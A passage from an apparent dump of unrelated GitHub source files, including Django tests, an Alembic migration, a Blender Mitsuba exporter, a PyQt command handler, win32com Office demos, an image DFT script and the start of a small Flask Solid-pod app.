'department__name_en': assignment.department.name_en,\n 'department__url': assignment.department.url,\n 'department_id': assignment.department_id,\n 'geography__id': assignment.geography.id,\n 'geography__name': assignment.geography.name,\n 'geography__name_en': assignment.geography.name_en,\n 'geography__url': assignment.geography.url,\n 'geography_id': assignment.geography.id,\n 'id': assignment.id,\n 'main_assignment': assignment.main_assignment,\n 'next_assignment__id': None,\n 'previous_assignment_id': None,\n 'person__first_name': assignment.person.first_name,\n 'person__first_name_en': assignment.person.first_name_en,\n 'person__last_name': assignment.person.last_name,\n 'person__last_name_en': assignment.person.last_name_en,\n 'person__login': assignment.person.login,\n 'previous_assignment__person__first_name': None,\n 'previous_assignment__person__first_name_en': None,\n 'previous_assignment__person__last_name': None,\n 'previous_assignment__person__last_name_en': None,\n 'previous_assignment__person__login': None,\n 'replacement_type': str(assignment.replacement_type),\n 'reward_id': assignment.reward.id,\n 'reward__category': assignment.reward.category,\n 'status': assignment.status,\n 'value_stream__id': assignment.value_stream.id,\n 'value_stream__name': assignment.value_stream.name,\n 'value_stream__name_en': assignment.value_stream.name_en,\n 'value_stream__url': assignment.value_stream.url,\n 'value_stream_id': assignment.value_stream.id,\n }\n\n\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n 'exclude_reserve, expected_results',\n [\n [True, 2],\n [False, 3],\n ],\n)\ndef test_positions_quantity_qs_exclude_reserve(exclude_reserve, expected_results):\n department = DepartmentFactory()\n BudgetPositionAssignmentFactory(\n department=department,\n status=BudgetPositionAssignmentStatus.RESERVE.value,\n budget_position=BudgetPositionFactory(headcount=-1)\n )\n BudgetPositionAssignmentFactory(department=department, status=BudgetPositionAssignmentStatus.RESERVE.value)\n BudgetPositionAssignmentFactory(department=department)\n\n target = BudgetPositionAssignmentFilterContext(exclude_reserve=exclude_reserve)\n\n result = target.positions_quantity_qs('department')\n\n assert list(result) == [{'department': department.id, 'qty': expected_results}]\n\n\n@pytest.mark.django_db()\n@pytest.mark.parametrize(\n 'field',\n [\n 'login',\n 'first_name',\n 'last_name',\n 'first_name_en',\n 'last_name_en',\n ],\n)\ndef test_positions_objects_qs_filter_by_search_text_in_person_fields(field):\n generated_text = _get_random_searchable_field_value()\n correct_status = BudgetPositionAssignmentStatus.OCCUPIED\n person = StaffFactory(**{field: generated_text})\n assignment = BudgetPositionAssignmentFactory(person=person, status=correct_status.value)\n BudgetPositionAssignmentFactory()\n\n for status in _get_choices_excluding(BudgetPositionAssignmentStatus, [correct_status]):\n BudgetPositionAssignmentFactory(person=person, status=status)\n\n target = BudgetPositionAssignmentFilterContext(search_text=generated_text[2:])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\n@pytest.mark.parametrize(\n 'field',\n [\n 'candidate_first_name',\n 'candidate_last_name',\n ],\n)\ndef test_positions_objects_qs_filter_by_search_text_in_offer_fields(field):\n generated_text = _get_random_searchable_field_value()\n correct_status = BudgetPositionAssignmentStatus.OFFER\n vacancy = VacancyFactory(**{field: generated_text, 'is_active': True})\n assignment = BudgetPositionAssignmentFactory(budget_position=vacancy.budget_position, status=correct_status.value)\n BudgetPositionAssignmentFactory()\n\n for status in _get_choices_excluding(BudgetPositionAssignmentStatus, [correct_status]):\n wrong_vacancy = VacancyFactory(**{field: generated_text, 'is_active': True})\n BudgetPositionAssignmentFactory(budget_position=wrong_vacancy.budget_position, status=status)\n\n target = BudgetPositionAssignmentFilterContext(search_text=generated_text[2:])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\ndef test_positions_objects_qs_filter_by_search_text_in_vacancy_name():\n generated_text = _get_random_searchable_field_value()\n correct_status = BudgetPositionAssignmentStatus.VACANCY_OPEN\n vacancy = VacancyFactory(name=generated_text, is_active=True)\n assignment = BudgetPositionAssignmentFactory(budget_position=vacancy.budget_position, status=correct_status.value)\n BudgetPositionAssignmentFactory()\n\n for status in _get_choices_excluding(BudgetPositionAssignmentStatus, [correct_status]):\n wrong_vacancy = VacancyFactory(name=generated_text, is_active=True)\n BudgetPositionAssignmentFactory(budget_position=wrong_vacancy.budget_position, status=status)\n\n target = BudgetPositionAssignmentFilterContext(search_text=generated_text[2:])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\n@pytest.mark.django_db()\n@pytest.mark.parametrize(\n 'correct_status',\n [\n BudgetPositionAssignmentStatus.VACANCY_OPEN,\n BudgetPositionAssignmentStatus.OFFER,\n ],\n)\ndef test_positions_objects_qs_filter_by_search_text_in_ticket(correct_status):\n generated_text = _get_random_searchable_field_value()\n correct_statues = [BudgetPositionAssignmentStatus.VACANCY_OPEN, BudgetPositionAssignmentStatus.OFFER]\n vacancy = VacancyFactory(ticket=generated_text, is_active=True)\n assignment = BudgetPositionAssignmentFactory(budget_position=vacancy.budget_position, status=correct_status.value)\n BudgetPositionAssignmentFactory()\n\n for status in _get_choices_excluding(BudgetPositionAssignmentStatus, correct_statues):\n wrong_vacancy = VacancyFactory(ticket=generated_text, is_active=True)\n BudgetPositionAssignmentFactory(budget_position=wrong_vacancy.budget_position, status=status)\n\n target = BudgetPositionAssignmentFilterContext(search_text=generated_text[2:])\n\n result = target.positions_objects_qs()\n\n assert result.get().pk == assignment.pk\n\n\ndef _get_choices_excluding(enum, exclude_choices):\n exclude_values = [choice.value for choice in exclude_choices]\n return (choice[0] for choice in enum.choices() if choice[0] not in exclude_values)\n\n\ndef _get_random_searchable_field_value():\n return f'field-{random()}'\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/budget_position_assignment_filter_context_test.py","file_name":"budget_position_assignment_filter_context_test.py","file_ext":"py","file_size_in_byte":16466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20473291980","text":"\"\"\"added test_result table\n\nRevision ID: 76ca6ff2e9f5\nRevises: 99440584ad9c\nCreate Date: 2022-04-10 10:51:26.189875\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '76ca6ff2e9f5'\ndown_revision = '99440584ad9c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('test_result',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('test_id', sa.Integer(), nullable=True),\n sa.Column('submission_id', sa.Integer(), nullable=True),\n sa.Column('result', sa.String(), nullable=True),\n sa.Column('user_output', sa.String(), nullable=True),\n sa.ForeignKeyConstraint(['submission_id'], ['submissions.id'], ),\n sa.ForeignKeyConstraint(['test_id'], ['tests.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('test_result')\n # ### end Alembic commands ###\n","repo_name":"S1riyS/CONTESTER","sub_path":"migrations/versions/76ca6ff2e9f5_added_test_result_table.py","file_name":"76ca6ff2e9f5_added_test_result_table.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"43023925204","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport datetime\n\nfrom pyramid.view import view_config\n\nfrom warehouse.banners.models import Banner\n\n\n@view_config(\n route_name=\"includes.db-banners\",\n renderer=\"includes/banner-messages.html\",\n uses_session=True,\n has_translations=True,\n)\ndef list_banner_messages(request):\n # used to preview specific banner\n banner_id = request.params.get(\"single_banner\")\n if banner_id:\n query = request.db.query(Banner).filter(Banner.id == banner_id)\n else:\n today = datetime.date.today()\n query = request.db.query(Banner).filter(\n (Banner.active == True) & (Banner.end >= today) # noqa\n )\n\n return {\"banners\": query.all()}\n","repo_name":"pypi/warehouse","sub_path":"warehouse/banners/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":3382,"dataset":"github-code","pt":"3"} +{"seq_id":"29027266097","text":"# -*- coding: utf-8 -*-\nfrom django.test import TestCase\n\nfrom events.surveyme.factories import SurveyQuestionShowConditionNodeItemFactory\nfrom events.surveyme.models import SurveyQuestionShowConditionNodeItem\nfrom events.conditions.factories import ContentTypeAttributeFactory\n\n\nclass TestSurveyQuestionShowConditionNodeItem(TestCase):\n fixtures = ['initial_data.json']\n\n def test_ordering(self):\n content_type_attribute = ContentTypeAttributeFactory()\n SurveyQuestionShowConditionNodeItemFactory(position=3, id=1, content_type_attribute=content_type_attribute)\n SurveyQuestionShowConditionNodeItemFactory(position=2, id=2, content_type_attribute=content_type_attribute)\n SurveyQuestionShowConditionNodeItemFactory(position=1, id=3, content_type_attribute=content_type_attribute)\n response = list(SurveyQuestionShowConditionNodeItem.objects.all().values_list('id', flat=True))\n msg = 'по дефолту SurveyQuestionShowConditionNodeItem должен сортироваться по position'\n self.assertEqual(response, [3, 2, 1], msg)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/surveyme/test_survey_questionshow_condition_node_item_model.py","file_name":"test_survey_questionshow_condition_node_item_model.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71990864083","text":"from collections import deque\n\ndef solution(want, number, discount):\n answer = 0\n \n for i in range(len(discount)-9):\n d_want = dict(zip(want,number))\n q=deque(discount[i:i+10]) \n \n for _ in range(10):\n temp = q.popleft()\n if temp in want and d_want[temp]>0:\n d_want[temp]-=1\n else:\n continue\n \n if sum(d_want.values())==0:\n answer+=1\n \n return answer","repo_name":"da-in/algorithm-study","sub_path":"Programmers - 문제풀이/할인 행사/jiwon.py","file_name":"jiwon.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"} +{"seq_id":"26774579484","text":"#!/usr/bin/env python3\n#coding=utf-8\n\n\n# pyqt imports\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\n\n# my imports\nfrom Structure.LAMMPSFullSystem import LAMMPSFullSystem\nfrom DataIO.ReaderLAMMPSData import ReaderLAMMPSData\nfrom Structure.DrawnSystem import DrawnSystem\nfrom Graphics.DrawingStyle import DrawingStyle\n\n\nclass UserCommandsExecutor:\n \"\"\"\n Transforms the string of commands into the sequence of the function calls.\n \"\"\"\n def __init__(self, atomicWidget, mainWidget):\n self.__aw = atomicWidget\n self.__mw = mainWidget\n\n##### general methods\n def exit(self, exitString):\n print(exitString)\n print('bye!')\n import sys\n sys.exit()\n\n def loadFromFile(self, fname):\n #print('UserCommandExecutor, loading system from file', fname)\n rld = ReaderLAMMPSData(fname=fname, atomicStyle='full')\n lmpFullSystem = LAMMPSFullSystem(method='manual',\n atoms=rld.parsedAtoms(),\n bonds=rld.parsedBonds(),\n angles=rld.parsedAngles(),\n dihedrals=rld.parsedDihedrals(),\n impropers=rld.parsedImpropers(),\n boundaries=rld.parsedBoundaries())\n drawnSystem = DrawnSystem(LAMMPSFullSystem=lmpFullSystem)\n self.__aw.updateProperty('LAMMPSFullSystem', lmpFullSystem)\n self.__aw.updateProperty('drawnSystem', drawnSystem)\n self.__aw.update()\n\n##### methods to manipulate with a displayed picture\n # (not the physical system!)\n def setProjection(self, projection):\n self.__aw.updateProperty('projection', projection)\n\n def setDrawingStyle(self, drawingStyleName):\n drawingStyle = DrawingStyle(drawingStyleName)\n self.__aw.updateProperty('drawingStyle', drawingStyle)\n\n \"\"\"\n def removeTextStringName(self, stringName):\n self.__aw.removeTextStringName(stringName)\n\n def addAtomStringName(self, stringName):\n self.__aw.addAtomStringName(stringName)\n\n def addTextStringName(self, stringName):\n self.__aw.addTextStringName(stringName)\n \"\"\"\n\n def setAtomColor(self, color):\n drawingStyle = self.__aw.getProperty('drawingStyle')\n drawingStyle.updateProperty('atomColor', color)\n drawingStyle.updateProperty('atomColorPolicy', 'common')\n\n def setAtomRadius(self, radius):\n drawingStyle = self.__aw.getProperty('drawingStyle')\n drawingStyle.updateProperty('commonAtomRadius', radius)\n drawingStyle.updateProperty('atomRadiusPolicy', 'common')\n\n def setBondColor(self, color):\n drawingStyle = self.__aw.getProperty('drawingStyle')\n drawingStyle.updateProperty('bondColor', color)\n drawingStyle.updateProperty('bondColorPolicy', 'common')\n\n##### methods to manipulate with the physical system\n def moveAtomsAlongX(self, offsetAlongX):\n system = self.__aw.getProperty('LAMMPSFullSystem')\n if system is not None:\n for lmpAtom in system.getProperty('atoms'):\n lmpAtom.moveAlongXAxis(offsetAlongX)\n else:\n print('ERROR, uce.moveAtomsAlongX:',\n 'physical system is not set',\n 'it is possible to move just image instead of pruposed action')\n return\n drawnSystem = DrawnSystem(LAMMPSFullSystem=system)\n self.__aw.updateProperty('LAMMPSFullSystem', system)\n\n def moveAtomsAlongY(self, offsetAlongY):\n system = self.__aw.getProperty('LAMMPSFullSystem')\n if system is not None:\n for lmpAtom in system.getProperty('atoms'):\n lmpAtom.moveAlongYAxis(offsetAlongY)\n else:\n print('ERROR, uce.moveAtomsAlongY:',\n 'physical system is not set',\n 'it is possible to move just image instead of pruposed action')\n return\n drawnSystem = DrawnSystem(LAMMPSFullSystem=system)\n self.__aw.updateProperty('LAMMPSFullSystem', system)\n\n def moveAtomsAlongZ(self, offsetAlongZ):\n system = self.__aw.getProperty('LAMMPSFullSystem')\n if system is not None:\n for lmpAtom in system.getProperty('atoms'):\n lmpAtom.moveAlongZAxis(offsetAlongZ)\n else:\n print('ERROR, uce.moveAtomsAlongZ:',\n 'physical system is not set',\n 'it is possible to move just image instead of pruposed action')\n return\n drawnSystem = DrawnSystem(LAMMPSFullSystem=system)\n self.__aw.updateProperty('LAMMPSFullSystem', system)\n","repo_name":"ansko/CompDrawer","sub_path":"ConsoleUI/UserCommandsExecutor.py","file_name":"UserCommandsExecutor.py","file_ext":"py","file_size_in_byte":4719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29716091703","text":"# -*- coding: utf8 -*-\n#\n# ***** BEGIN GPL LICENSE BLOCK *****\n#\n# --------------------------------------------------------------------------\n# Blender Mitsuba Add-On\n# --------------------------------------------------------------------------\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, see .\n#\n# ***** END GPL LICENSE BLOCK *****\n\n# System Libs\nimport os\n\n# Extensions_Framework Libs\nfrom ..extensions_framework import util as efutil\n\n# Mitsuba libs\nfrom ..export.environment import get_environment_trafo, export_world_environment\nfrom ..export.cameras import export_camera_instance\nfrom ..export.lamps import export_lamp_instance\nfrom ..export.materials import ExportedMaterials, ExportedTextures\nfrom ..export.geometry import GeometryExporter\nfrom ..export import Instance, is_object_visible, is_light, is_mesh, is_deforming, object_render_hide, object_render_hide_duplis\nfrom ..outputs import MtsManager, MtsLog\n\n\ndef get_subframes(segs, shutter):\n if segs == 0:\n return [0]\n\n return [i * shutter / segs for i in range(segs + 1)]\n\n\ndef get_obj_unique_id(b_ob, duplicator):\n if duplicator is not None:\n obj = b_ob.object\n persistent_id = ['%X' % i for i in b_ob.persistent_id if i < 0x7fffffff]\n unique_id = '%s_%s_Dupli(%s)' % (duplicator.name, obj.name, 'x'.join(persistent_id))\n\n else:\n obj = b_ob\n unique_id = b_ob.name\n\n return (obj, unique_id)\n\n\nclass SceneExporterProperties:\n \"\"\"\n Mimics the properties member contained within EXPORT_OT_Mitsuba operator\n \"\"\"\n\n filename = ''\n directory = ''\n api_type = ''\n write_files = True\n write_all_files = True\n\n\nclass SceneExporter:\n\n properties = SceneExporterProperties()\n shape_instances = {}\n\n def set_properties(self, properties):\n self.properties = properties\n return self\n\n def set_scene(self, scene):\n self.scene = scene\n return self\n\n def set_report(self, report):\n self.report = report\n return self\n\n def report(self, type, message):\n MtsLog('%s: %s' % ('|'.join([('%s' % i).upper() for i in type]), message))\n\n def sync_light(self, instances, b_ob, duplicator=None, trafo=None, base_frame=0, seq=0.0):\n (obj, unique_id) = get_obj_unique_id(b_ob, duplicator)\n\n try:\n instances[unique_id].append_motion(trafo, seq)\n\n except:\n instances[unique_id] = Instance(\n obj,\n trafo,\n )\n\n def sync_object(self, instances, b_ob, duplicator=None, trafo=None, hide_mesh=False, base_frame=0, seq=0.0):\n (obj, unique_id) = get_obj_unique_id(b_ob, duplicator)\n\n # light is handled separately */\n if is_light(obj):\n self.sync_light(instances, b_ob, duplicator, trafo, base_frame, seq)\n return\n\n # only interested in object that we can create meshes from */\n if not is_mesh(obj):\n return\n\n if not hide_mesh:\n if duplicator is not None:\n self.GE.objects_used_as_duplis.add(obj)\n\n if unique_id in instances:\n instance = instances[unique_id]\n is_deform = is_deforming(obj)\n\n instance.append_motion(trafo, seq, is_deform)\n\n if is_deform:\n instance.mesh.append(self.GE.writeMesh(obj, base_frame=base_frame, seq=seq))\n\n else:\n instances[unique_id] = Instance(\n obj,\n trafo,\n mesh=self.GE.buildMesh(obj, seq=seq),\n )\n\n number_psystems = len(obj.particle_systems)\n\n if number_psystems > 0:\n for psys in obj.particle_systems:\n if psys.settings.render_type in 'PATH':\n hair_id = '%s_%s' % (unique_id, psys.name)\n\n if hair_id in instances:\n instances[hair_id].append_motion(trafo, seq)\n\n else:\n filename = self.GE.handler_Duplis_PATH(obj, psys)\n\n if filename:\n instances[hair_id] = Instance(\n obj,\n trafo,\n mesh=[(\n 'hair',\n psys.settings.material - 1,\n 'hair',\n {\n 'filename': filename,\n 'radius': psys.settings.mitsuba_hair.hair_width / 2.0\n },\n seq\n )],\n )\n\n # Create two lists, one of data blocks to export and one of instances to export\n # Collect and store motion blur transformation data in a pre-process.\n # More efficient, and avoids too many frame updates in blender.\n def cache_motion(self, scene):\n origframe = scene.frame_current\n scene_motion_segments = scene.render.motion_blur_samples if scene.render.use_motion_blur else 0\n segs = {}\n b_sce = scene\n\n while b_sce is not None:\n # get a de-duplicated set of all possible numbers of motion segments\n # from renderable objects in the scene, and global scene settings\n segs[b_sce.name] = {}\n segs[b_sce.name][scene_motion_segments] = []\n self.shape_instances[b_sce.name] = {}\n\n for b_ob in b_sce.objects:\n if is_object_visible(scene, b_ob):\n if scene.render.use_motion_blur and b_ob.mitsuba_object.motion_samples_override:\n ob_segments = b_ob.mitsuba_object.motion_blur_samples\n\n try:\n segs[b_sce.name][ob_segments].append(b_ob)\n\n except:\n segs[b_sce.name][ob_segments] = [b_ob]\n\n else:\n segs[b_sce.name][scene_motion_segments].append(b_ob)\n\n b_sce = b_sce.background_set\n\n # now get a full list of subframes and the corresponding segment groups\n subframes = {}\n for scene_segs in segs.values():\n for num_segs in scene_segs.keys():\n for sub in get_subframes(num_segs, scene.render.motion_blur_shutter):\n try:\n subframes[sub].append(num_segs)\n\n except:\n subframes[sub] = [num_segs]\n\n # the aim here is to do only a minimal number of scene updates,\n # so we go through all subframes and process objects pertaining to\n # segment groups included in the subframe\n while subframes:\n sub = min(subframes.keys())\n seq = sub / scene.render.motion_blur_shutter\n seq_groups = subframes.pop(sub)\n isub, fsub = int(sub), sub - int(sub)\n scene.frame_set(origframe + isub, fsub)\n\n cam = scene.camera.data\n cam_trafo = (scene.camera.matrix_world.copy(),\n cam.ortho_scale / 2.0 if cam.type == 'ORTHO' else None)\n\n self.scene_camera.append_motion(cam_trafo, seq)\n\n env_trafo = get_environment_trafo(scene.world)\n\n if env_trafo is not None:\n self.world_environment.append_motion(env_trafo, seq)\n\n b_sce = scene\n\n while b_sce is not None:\n self.GE.geometry_scene = b_sce\n instances = self.shape_instances[b_sce.name]\n\n while seq_groups:\n try:\n num_segs = seq_groups.pop()\n scene_obs = segs[b_sce.name][num_segs]\n\n except:\n continue\n\n for b_ob in scene_obs:\n if scene.mitsuba_testing.object_analysis:\n MtsLog('Analysing object %s : %s' % (b_ob, b_ob.type))\n\n if b_ob.is_duplicator and not object_render_hide_duplis(b_ob):\n if scene.mitsuba_testing.object_analysis:\n MtsLog(\"Dupli object\", b_ob.name)\n\n # dupli objects\n b_ob.dupli_list_create(scene, 'RENDER')\n\n for b_dup in b_ob.dupli_list:\n b_dup_ob = b_dup.object\n dup_hide = b_dup_ob.hide_render\n in_dupli_group = b_dup.type == 'GROUP'\n (hide_obj, hide_mesh) = object_render_hide(b_dup_ob, False, in_dupli_group)\n\n if not (b_dup.hide or dup_hide or hide_obj):\n # /* sync object and mesh or light data */\n trafo = b_dup.matrix.copy()\n self.sync_object(instances, b_dup, b_ob, trafo, hide_mesh, origframe, seq)\n\n b_ob.dupli_list_clear()\n\n (hide_obj, hide_mesh) = object_render_hide(b_ob, True, True)\n\n if not hide_obj:\n if scene.mitsuba_testing.object_analysis:\n MtsLog(\"Synchronizing object\", b_ob.name)\n\n # object itself\n trafo = b_ob.matrix_world.copy()\n self.sync_object(instances, b_ob, None, trafo, hide_mesh, origframe, seq)\n\n b_sce = b_sce.background_set\n\n scene.frame_set(origframe, 0)\n return True\n\n def export(self):\n scene = self.scene\n self.shape_instances = {}\n\n try:\n if scene is None:\n raise Exception('Scene is not valid for export to %s' % self.properties.filename)\n\n # Set up the rendering context\n self.report({'INFO'}, 'Creating Mitsuba context')\n created_mts_manager = False\n\n if MtsManager.GetActive() is None:\n MM = MtsManager(\n scene.name,\n api_type=self.properties.api_type,\n )\n MtsManager.SetActive(MM)\n created_mts_manager = True\n\n MtsManager.SetCurrentScene(scene)\n export_ctx = MtsManager.GetActive().export_ctx\n\n mts_filename = os.path.join(\n self.properties.directory,\n self.properties.filename\n )\n\n if self.properties.directory[-1] not in {'/', '\\\\'}:\n self.properties.directory += '/'\n\n efutil.export_path = self.properties.directory\n\n if self.properties.api_type == 'FILE':\n export_ctx.set_filename(\n scene,\n mts_filename,\n )\n\n ExportedMaterials.clear()\n ExportedTextures.clear()\n\n export_ctx.data_add(scene.mitsuba_integrator.api_output(), 'integrator')\n\n self.GE = GeometryExporter(export_ctx, scene)\n self.world_environment = Instance(scene.world, None)\n self.scene_camera = Instance(scene.camera, None)\n self.cache_motion(scene)\n\n # Export world environment\n export_world_environment(export_ctx, self.world_environment)\n\n export_camera_instance(export_ctx, self.scene_camera, scene)\n\n cancel = False\n b_sce = scene\n\n while b_sce is not None and not cancel:\n self.GE.geometry_scene = b_sce\n\n for name, instance in self.shape_instances[b_sce.name].items():\n if cancel:\n break\n\n if instance.mesh is not None:\n self.GE.exportShapeInstances(instance, name)\n\n elif instance.obj.type == 'LAMP':\n export_lamp_instance(export_ctx, instance, name)\n\n # cancel = progress.get_cancel();\n b_sce = b_sce.background_set\n\n self.GE.objects_used_as_duplis.clear()\n\n # update known exported objects for partial export\n GeometryExporter.KnownModifiedObjects -= GeometryExporter.NewExportedObjects\n GeometryExporter.KnownExportedObjects |= GeometryExporter.NewExportedObjects\n GeometryExporter.NewExportedObjects = set()\n\n export_ctx.configure()\n\n if created_mts_manager:\n MM.reset()\n\n self.report({'INFO'}, 'Export finished')\n\n return {'FINISHED'}\n\n except Exception as err:\n self.report({'ERROR'}, 'Export aborted: %s' % err)\n\n import traceback\n traceback.print_exc()\n\n if scene.mitsuba_testing.re_raise:\n raise err\n\n return {'CANCELLED'}\n","repo_name":"sherholz/mitsuba-blender","sub_path":"mtsblend/export/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":13559,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"28925885370","text":"\"this is a test com moule\"\nimport win32com.client as win32\nfrom time import sleep\nimport win32com\nfrom win32com.client import Dispatch,constants\n\ndef test_excel():\n \"this is a function for test excel programing.\"\n excel = win32.Dispatch('Excel.Application')\n ss = excel.Workbooks.Add()\n sh = ss.ActiveSheet\n excel.Visible = False\n sleep(1)\n sh.Cells(1,1).Value = 'Python-to-%s Demo' % 'Excel'\n sleep(1)\n for i in range(3,8):\n sh.Cells(i,1).Value = 'Line %d' % i\n sleep(1)\n \n sleep(10)\n ss.Close(True)\n excel.Application.Quit()\n\ndef test_word():\n word = win32.Dispatch('Word.Application')\n doc = word.Documents.Add()\n #doc = word.Documents.Open(r'D\\a.doc')\n word.Visible = True\n sleep(1)\n\n rng = doc.Range(0,0)\n #rng.InsertAfter('Python-to-Word\\r\\n')\n #wordSlct = rng.Select()\n #wordSlct.Style = constants.wdStyleHeading1\n \n sleep(1)\n doc.Tables.Add(rng,3,3)\n table = doc.Tables[0]\n for i in range(1,4):\n for j in range(1,4):\n table.Cell(i,j).Range.Text = \"cell %d,%d\" %(i,j)\n \n# for i in range(3,8):\n# rng.InsertAfter('Line %d\\r\\n' % i)\n# sleep(1)\n \n# rng.InsertAfter(\"\\r\\nTh-th-th-that's all folks!\\r\\n\")\n doc.Close(True)\n word.Application.Quit()\n\n#test_excel()\ntest_word()","repo_name":"384782946/hellopython","sub_path":"testCom.py","file_name":"testCom.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6188213921","text":"import cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef DFT2(f):\n \"\"\" Function performs FFT on each row of an image followed by each column to perform DFT2\n params:\n f: scaled version of greyscale image\n \"\"\"\n image = f\n\n imageWidth = image.shape[1] #Saves the number of horizontal pixels to imageWidth\n imageHeight = image.shape[0] #Saves the number of vertical pixels to imageHeight\n\n transform = np.zeros(shape = (imageHeight,imageWidth),dtype='complex') #Creates a complex array filled with zeros\n\n xPosition = 0\n yPosition = 0\n\n #FFT is taken of each row of pixels in the image first, followed by each column of pixels in the image\n while (yPosition < imageHeight): # Loops through each column\n while (xPosition < imageWidth): # Loops through each row\n transform[:,xPosition] = np.fft.fft(image[:,xPosition])\n xPosition = xPosition + 1\n transform[yPosition,:] = np.fft.fft(transform[yPosition,:])\n yPosition = yPosition + 1\n\n return transform\n\ndef IFFT(F):\n \"\"\" Function performs IFFT by taking complex conjugate, performing DFT2, taking the real component of the complex conjugate, and dividing by MN\n params:\n F: image returned after DFT2\n \"\"\"\n\n transform = F\n\n imageWidth = transform.shape[1] #Saves the number of horizontal pixels to imageWidth (M)\n imageHeight = transform.shape[0] #Saves the number of vertical pixels to imageHeight (N)\n\n #The complex conjugate is taken of transformed image, followed by the dft2, and then the real component of the complex conjugate\n conj_transform = np.conjugate(transform)\n conj_g = DFT2(conj_transform)\n g = np.real(np.conjugate(conj_g))\n\n #The result is divided by M*N and multiplied by 255 to account for scaling\n g = 255*(g/(imageWidth*imageHeight))\n\n return g\n\ndef main(): #Main begins\n file = input(\"Type the path with file extension of the image file you'd like to test:\") # User enter .png file for testing\n image = cv2.imread(file,0) # Saves the image input typed in by the user to image\n\n image_scaled = image / 255\n f = image_scaled\n\n F = DFT2(f)\n\n #FFT shift is used to rearrange zero frequency components to the center\n F_shifted = np.fft.fftshift(F)\n magnitude_F = np.log(1 + np.abs(F_shifted))\n phase_F = np.angle(F_shifted)\n\n #Generates the plot of the magnitude spectrum and the phase spectrum\n plt.subplot(121), plt.imshow(magnitude_F, cmap='gray')\n plt.title(\"Magnitude Spectrum\")\n plt.subplot(122), plt.imshow(phase_F, cmap='gray')\n plt.title(\"Phase Spectrum\")\n plt.show()\n\n g = IFFT(F)\n\n #Generates the plot of the original image and the restored image using IFFT\n plt.subplot(121), plt.imshow(f, cmap='gray')\n plt.title(\"f:Original selected image\")\n plt.subplot(122), plt.imshow(g, cmap='gray')\n plt.title(\"g:Image generated by IFFT\")\n plt.show()\n\nif __name__ == \"__main__\":\n main()","repo_name":"jeneese/image-dft-ifft","sub_path":"image-dft-ifft.py","file_name":"image-dft-ifft.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21140011168","text":"import flask\nimport requests\nfrom pyshex import ShExEvaluator\n\nfrom utils import BearerAuth, MyPrefixLibrary\n\n\n_pod = \"https://pmbrull.solid.community\"\n_auth_token = \"\"\n\n_shex = \"\"\"\nPREFIX ex: <#>\nPREFIX n0: \nPREFIX xsd: \n\nex:HKData {\n n0:calories xsd:string;\n n0:date xsd:string;\n n0:distance xsd:string;\n n0:score xsd:string;\n n0:steps xsd:string\n}\n\"\"\"\n\napp = flask.Flask(__name__)\napp.config[\"DEBUG\"] = True\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return \"

    querying pod API

